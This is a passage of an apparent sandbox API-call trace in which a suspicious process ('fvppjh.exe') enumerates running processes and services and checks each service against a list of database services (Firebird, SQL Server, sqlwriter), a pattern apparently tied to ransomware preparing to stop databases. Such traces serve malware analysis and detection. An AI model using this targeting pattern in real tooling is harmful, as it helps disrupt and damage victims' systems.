	[0180.571] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0180.572] lstrlenW (lpString="explorer.exe") returned 12
	[0180.572] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0180.572] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0180.572] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0180.572] lstrlenW (lpString="SearchUI.exe") returned 12
	[0180.573] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0180.573] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0180.573] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0180.573] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0180.573] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0180.574] lstrlenW (lpString="fvppjh.exe") returned 10
	[0180.574] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0180.574] lstrlenW (lpString="dllhost.exe") returned 11
	[0180.574] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0180.575] lstrlenW (lpString="dllhost.exe") returned 11
	[0180.575] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0180.575] CloseHandle (hObject=0x55c) returned 1
	[0180.575] Sleep (dwMilliseconds=0x1f4) 
	[0181.184] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0930
	[0181.187] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0181.197] GetLastError () returned 0xea
	[0181.197] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41eb8d0
	[0181.197] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41eb8d0, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41eb8d0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0181.210] CloseServiceHandle (hSCObject=0x41c0930) returned 1
	[0181.210] lstrlenW (lpString="Appinfo") returned 7
	[0181.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0181.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0181.210] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0181.210] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0181.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0181.210] lstrlenW (lpString="AppXSvc") returned 7
	[0181.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0181.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0181.210] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0181.210] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0181.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0181.210] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0181.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0181.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0181.211] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0181.211] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0181.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0181.211] lstrlenW (lpString="Audiosrv") returned 8
	[0181.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0181.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0181.211] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0181.211] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0181.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0181.211] lstrlenW (lpString="BFE") returned 3
	[0181.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0181.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0181.211] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0181.211] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0181.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0181.211] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0181.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0181.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0181.211] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0181.211] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0181.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0181.211] lstrlenW (lpString="CDPSvc") returned 6
	[0181.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0181.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0181.211] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0181.211] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0181.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0181.211] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0181.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0181.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0181.211] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0181.211] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0181.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0181.211] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0181.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0181.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0181.212] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0181.212] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0181.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0181.212] lstrlenW (lpString="CryptSvc") returned 8
	[0181.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0181.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0181.212] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0181.212] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0181.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0181.212] lstrlenW (lpString="DcomLaunch") returned 10
	[0181.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0181.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0181.212] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0181.212] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0181.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0181.212] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0181.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0181.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0181.212] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0181.212] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0181.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0181.212] lstrlenW (lpString="Dhcp") returned 4
	[0181.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0181.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0181.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0181.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0181.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0181.212] lstrlenW (lpString="Dnscache") returned 8
	[0181.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0181.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0181.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0181.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0181.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0181.212] lstrlenW (lpString="DPS") returned 3
	[0181.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0181.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0181.213] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0181.213] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0181.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0181.213] lstrlenW (lpString="DusmSvc") returned 7
	[0181.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0181.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0181.213] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0181.213] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0181.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0181.213] lstrlenW (lpString="EventLog") returned 8
	[0181.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0181.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0181.213] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0181.213] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0181.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0181.213] lstrlenW (lpString="EventSystem") returned 11
	[0181.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0181.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0181.213] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0181.213] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0181.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0181.213] lstrlenW (lpString="FontCache") returned 9
	[0181.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0181.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0181.213] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0181.213] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0181.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0181.213] lstrlenW (lpString="gpsvc") returned 5
	[0181.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0181.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0181.213] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0181.213] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0181.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0181.213] lstrlenW (lpString="iphlpsvc") returned 8
	[0181.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0181.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0181.214] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0181.214] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0181.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0181.214] lstrlenW (lpString="KeyIso") returned 6
	[0181.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0181.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0181.214] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0181.214] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0181.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0181.214] lstrlenW (lpString="LanmanServer") returned 12
	[0181.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0181.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0181.214] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0181.214] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0181.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0181.214] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0181.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0181.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0181.214] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0181.214] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0181.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0181.214] lstrlenW (lpString="lfsvc") returned 5
	[0181.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0181.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0181.214] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0181.214] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0181.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0181.214] lstrlenW (lpString="lmhosts") returned 7
	[0181.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0181.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0181.214] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0181.214] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0181.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0181.214] lstrlenW (lpString="LSM") returned 3
	[0181.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0181.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0181.215] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0181.215] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0181.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0181.215] lstrlenW (lpString="MpsSvc") returned 6
	[0181.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0181.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0181.215] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0181.215] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0181.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0181.215] lstrlenW (lpString="NcbService") returned 10
	[0181.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0181.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0181.215] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0181.215] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0181.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0181.215] lstrlenW (lpString="netprofm") returned 8
	[0181.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0181.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0181.215] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0181.215] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0181.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0181.215] lstrlenW (lpString="NgcSvc") returned 6
	[0181.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0181.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0181.215] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0181.215] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0181.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0181.215] lstrlenW (lpString="NlaSvc") returned 6
	[0181.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0181.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0181.215] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0181.215] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0181.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0181.216] lstrlenW (lpString="nsi") returned 3
	[0181.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0181.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0181.216] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0181.216] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0181.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0181.216] lstrlenW (lpString="PcaSvc") returned 6
	[0181.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0181.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0181.216] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0181.216] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0181.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0181.216] lstrlenW (lpString="PlugPlay") returned 8
	[0181.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0181.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0181.216] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0181.216] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0181.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0181.216] lstrlenW (lpString="Power") returned 5
	[0181.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0181.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0181.216] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0181.216] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0181.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0181.216] lstrlenW (lpString="ProfSvc") returned 7
	[0181.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0181.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0181.216] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0181.216] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0181.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0181.216] lstrlenW (lpString="RpcEptMapper") returned 12
	[0181.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0181.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0181.217] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0181.217] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0181.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0181.217] lstrlenW (lpString="RpcSs") returned 5
	[0181.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0181.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0181.217] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0181.217] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0181.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0181.217] lstrlenW (lpString="SamSs") returned 5
	[0181.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0181.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0181.217] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0181.217] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0181.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0181.217] lstrlenW (lpString="Schedule") returned 8
	[0181.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0181.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0181.217] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0181.217] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0181.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0181.217] lstrlenW (lpString="SecurityHealthService") returned 21
	[0181.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0181.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0181.217] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0181.217] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0181.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0181.217] lstrlenW (lpString="SENS") returned 4
	[0181.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0181.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0181.217] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0181.217] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0181.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0181.217] lstrlenW (lpString="ShellHWDetection") returned 16
	[0181.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0181.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0181.218] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0181.218] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0181.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0181.218] lstrlenW (lpString="Spooler") returned 7
	[0181.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0181.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0181.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0181.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0181.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0181.218] lstrlenW (lpString="StateRepository") returned 15
